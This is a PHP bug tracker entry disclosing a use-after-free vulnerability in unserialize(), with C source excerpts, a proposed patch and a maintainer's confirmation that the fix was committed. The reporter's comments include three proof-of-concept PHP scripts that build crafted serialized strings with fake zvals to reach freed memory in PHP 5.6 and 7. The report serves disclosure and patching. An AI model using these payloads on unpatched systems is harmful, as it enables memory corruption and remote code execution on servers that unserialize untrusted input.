php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70436 Use After Free Vulnerability in unserialize()
Submitted: 2015-09-06 14:14 UTC Modified: 2016-08-17 06:39 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.24 OS: *
Private report: No CVE-ID: None
 [2015-09-06 14:14 UTC] taoguangchen at icloud dot com
Description:
------------
var_unserializer.c
```
static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
	...
	} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
		return 0;
	}
	...

PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{
	...
	if (var_hash && cursor[0] != 'R') {
		var_push(var_hash, rval);
	}
	...
	return 0;
```

var.c
```
PHP_FUNCTION(unserialize)
{
	...
	p = (const unsigned char*) buf;
	PHP_VAR_UNSERIALIZE_INIT(var_hash);
	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
		zval_dtor(return_value);
		if (!EG(exception)) {
			php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
		}
		RETURN_FALSE;
```

it has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory, however during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC:

```
<?php

class obj1 implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

class obj2 {
	var $ryat;
	function __wakeup() {
		$this->ryat = 1;
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = '{'; /* any invalid serialized string */
$exploit = 'a:5:{i:0;i:1;i:1;C:4:"obj1":'.strlen($inner).':{'.$inner.'}i:2;O:4:"obj2":1:{s:4:"ryat";R:3;}i:3;s:'.strlen($fakezval).':"'.$fakezval.'";i:4;R:4;}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>
```

fix
```
	PHP_VAR_UNSERIALIZE_INIT(var_hash);
	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
+		var_push_dtor(&var_hash, &return_value);
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-09-06 15:26 UTC] taoguangchen at icloud dot com
additional solution:
some other extensions have same issues when call to the php_var_unserialize(), so you need always call to the var_push_dtor() before the php_var_unserialize() return 0.
 [2015-10-08 13:59 UTC] taoguangchen at icloud dot com
this bug can be still triggered without the crafted __wakeup() method

var_unserializer.c
```
static inline int finish_nested_data(UNSERIALIZE_PARAMETER)
{
	if (*((*p)++) == '}')
		return 1;
	...
	return 0;
}

static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
	...
	if (ce->unserialize == NULL) {
		zend_error(E_WARNING, "Class %s has no unserializer", ce->name);
		object_init_ex(*rval, ce);
	} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
		return 0;
	}

	(*p) += datalen;

	return finish_nested_data(UNSERIALIZE_PASSTHRU);
```

var.c
```
PHP_FUNCTION(unserialize)
{
	...
	p = (const unsigned char*) buf;
	PHP_VAR_UNSERIALIZE_INIT(var_hash);
	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
		zval_dtor(return_value);
		if (!EG(exception)) {
			php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
		}
		RETURN_FALSE;
```

so an attacker can freed a ZVAL from the memory via zval_dtor(), it has been demonstrated before in GMP deserialization exploit, however during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely. 

PoC:
```
<?php

class obj implements Serializable
{
	var $data;
	
	function serialize()
	{
		return serialize($this->data);
	}
	
	function unserialize($data)
	{
		$this->data = unserialize($data);
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'C:3:"obj":3:{ryat';
$exploit = 'a:4:{i:0;i:1;i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:2;s:'.strlen($fakezval).':"'.$fakezval.'";i:3;R:5;}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	
	return $out;
}

?>
```
 [2016-02-14 17:18 UTC] taoguangchen at icloud dot com
The similar bug also effect latest of php7, and result in  code execution.

PoC:

```
class obj implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

$inner = 'a:1:{i:0;O:8:"stdClass":0:{}';
$inner = 'x:i:1;a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:7;};m:a:0:{';
$exploit = 'a:1:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}}';
unserialize($exploit);
```
 [2016-02-14 17:25 UTC] taoguangchen at icloud dot com
I think this simple solution is still valid in php 7 series.

var.c:
```
	if (!php_var_unserialize_ex(return_value, &p, p + buf_len, &var_hash, class_hash)) {
+		var_push_dtor(&var_hash, return_value);
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
```
 [2016-08-07 22:03 UTC] stas@php.net
Proposed fix does not work, valgrind still complains about memory errors in 5.6.
 [2016-08-07 22:11 UTC] stas@php.net
Scratch that, my mistake, it works for 5.6 with small modification
 [2016-08-07 22:17 UTC] stas@php.net
-PHP Version: Irrelevant +PHP Version: 5.6.24 -Assigned To: +Assigned To: stas
 [2016-08-07 22:17 UTC] stas@php.net
Fix added to security repo as acda5c7a65576d3585c64c195833c6bca27b6b6a
 [2016-08-17 06:39 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 06:39 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-08-17 08:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=95d09e4b5e6b84f8340efe03e8e2f9c1380228db
Log: Fix bug #70436: Use After Free Vulnerability in unserialize()
 [2016-08-17 09:15 UTC] laruence@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=95d09e4b5e6b84f8340efe03e8e2f9c1380228db
Log: Fix bug #70436: Use After Free Vulnerability in unserialize()
 [2016-08-18 11:15 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=27fe2b42fc4a0e82b30dba11e177611ac6a88bf5
Log: Fix bug #70436: Use After Free Vulnerability in unserialize()
 [2016-10-17 10:09 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=95d09e4b5e6b84f8340efe03e8e2f9c1380228db
Log: Fix bug #70436: Use After Free Vulnerability in unserialize()
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 12:01:29 2024 UTC